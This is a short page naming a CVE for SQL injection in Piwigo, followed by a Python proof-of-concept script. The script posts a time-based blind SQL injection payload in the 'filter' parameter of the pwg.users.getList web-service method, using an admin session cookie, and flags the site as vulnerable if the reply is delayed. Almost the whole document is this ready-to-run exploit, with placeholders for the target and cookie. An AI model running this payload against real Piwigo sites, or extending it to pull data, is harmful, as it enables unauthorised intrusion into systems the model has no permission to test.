CVE-2026-27834 Piwigo SQL注入漏洞

import requests # Target URL # Replace with the actual domain of the vulnerable Piwigo instance target_url = "http://localhost/piwigo/ws.php" # Malicious payload for the 'filter' parameter # This payload uses a time-based blind SQL injection technique # It attempts to make the database sleep for 5 seconds if the query is successful payload = "1' AND SLEEP(5)-- " # Valid authentication cookies are required (Admin privileges) # Replace 'YOUR_ADMIN_SESSION_COOKIE' with a valid session ID cookies = { "pwg_id": "YOUR_ADMIN_SESSION_COOKIE" } # POST data structure for the Web Service API data = { "method": "pwg.users.getList", "filter": payload } try: # Sending the POST request to the vulnerable endpoint response = requests.post(target_url, data=data, cookies=cookies, timeout=10) # Analyze the response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed!") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}")